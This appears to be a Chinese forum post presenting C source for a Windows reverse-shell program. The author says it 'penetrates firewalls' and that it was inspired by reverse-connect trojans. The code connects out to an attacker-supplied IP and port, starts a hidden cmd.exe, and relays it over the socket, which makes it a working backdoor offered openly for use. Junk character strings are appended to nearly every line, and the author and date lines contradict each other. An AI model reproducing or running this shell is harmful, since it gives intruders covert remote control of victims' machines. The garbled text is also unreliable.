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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )PM&x   
C *\ =Q  
/* ============================== 5LT{]&`9  
Rebound port in Windows NT wKjL}1.k  
By wind,2006/7 {=(GY@yU/  
===============================*/ p8%/T>hK  
#include PMDx5-{A/t  
#include ]F,mj-?4x  
07zbx6:t  
#pragma comment(lib,"wsock32.lib") X[ERlw1q4Q  
~*Fbs! ;,  
void OutputShell(); CS:"F) at  
SOCKET sClient; |@J:A!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c,$ >u,4  
B( ]=I@L=W  
void main(int argc,char **argv) RCFocOOn  
{ xMk0Xf'_  
WSADATA stWsaData; <X7x  
int nRet; 6cCC+*V{  
SOCKADDR_IN stSaiClient,stSaiServer; 6K/j,e>L  
_uvRC+~R  
if(argc != 3) [LwmzmV+F  
{ DEGEr-  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,S|v>i, @  
return; |Rh%wJ  
} ] ~;x$Z)  
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WSAStartup(MAKEWORD(2,2),&stWsaData); e 1W9Z $m  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ])dq4\Bw  
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stSaiClient.sin_family = AF_INET; =WaZy>n}7  
stSaiClient.sin_port = htons(0); hpftVEB  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5jj<sj!S  
dtK[H+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) pi>,>-Z  
{ (T1)7%Xs  
printf("Bind Socket Failed!\n"); '\I.P  
return; p'lL2 n$E  
} ;&|MNN^  
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stSaiServer.sin_family = AF_INET; ;~&F}!pQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K{]!hm,[3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \t LfB[S.5  
7$ vs X  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) NaeG2>1  
{ Ap&Bwo 8b  
printf("Connect Error!"); dgLE/r?  
return; oDY $F%  
} d ] J5c  
OutputShell(); z(sfX}%  
} C;#-2^h  
alQMPQVin  
void OutputShell() ac8+?FpK #  
{ +|#lUXC  
char szBuff[1024]; !d@qT.  
SECURITY_ATTRIBUTES stSecurityAttributes; WJefg  
OSVERSIONINFO stOsversionInfo; h J*2q"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Lh0qB)>  
STARTUPINFO stStartupInfo; X.u&4SH  
char *szShell; s?=v@|vz)  
PROCESS_INFORMATION stProcessInformation; _#6_7=g@s6  
unsigned long lBytesRead; u n{LwZH  
Pr |u_^  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W\JbX<mQ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 89*txYmx  
stSecurityAttributes.lpSecurityDescriptor = 0; RAw/Q$I  
stSecurityAttributes.bInheritHandle = TRUE; ~x:\xQti  
Ks|qJ3;  
DnbT<oEL  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [If%+mHdU  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -;5WMX 6  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cG)i:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fq-zgqF<  
stStartupInfo.wShowWindow = SW_HIDE; K-%x] Fp=  
stStartupInfo.hStdInput = hReadPipe; Ns?8N":  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~b.C[s  
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GetVersionEx(&stOsversionInfo); Wn61;kV_)  
MeD}S@H  
switch(stOsversionInfo.dwPlatformId) ?P<8Zw  
{ 8UH c,np  
case 1: FsZW,  
szShell = "command.com"; #G'Y 2l  
break; qmNgEz%  
default: ,(h:0L2v7d  
szShell = "cmd.exe"; oD_n+95B  
break; T$ <l<.Qd  
} q J)[2:.G  
blbL49;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o:`>r/SlL  
XH9Y|FX%#  
send(sClient,szMsg,77,0); WCK;r{p%I  
while(1) FW](GWp`:  
{ S8 +GM  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e^;<T9Esr  
if(lBytesRead) L9,;zkgo  
{ 0L3v[%_j"  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O=2"t%Gc  
send(sClient,szBuff,lBytesRead,0); {0a (R2nB  
} L>4!@L5)  
else du,mbTQib  
{ [sxJ<  
lBytesRead=recv(sClient,szBuff,1024,0); ,,U8X [A  
if(lBytesRead<=0) break; oD0WHp  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {bQi z  
} xa7~{ E,  
} z?ck*9SZX  
l/(|rl#6  
return; BSe{HmDq  
}
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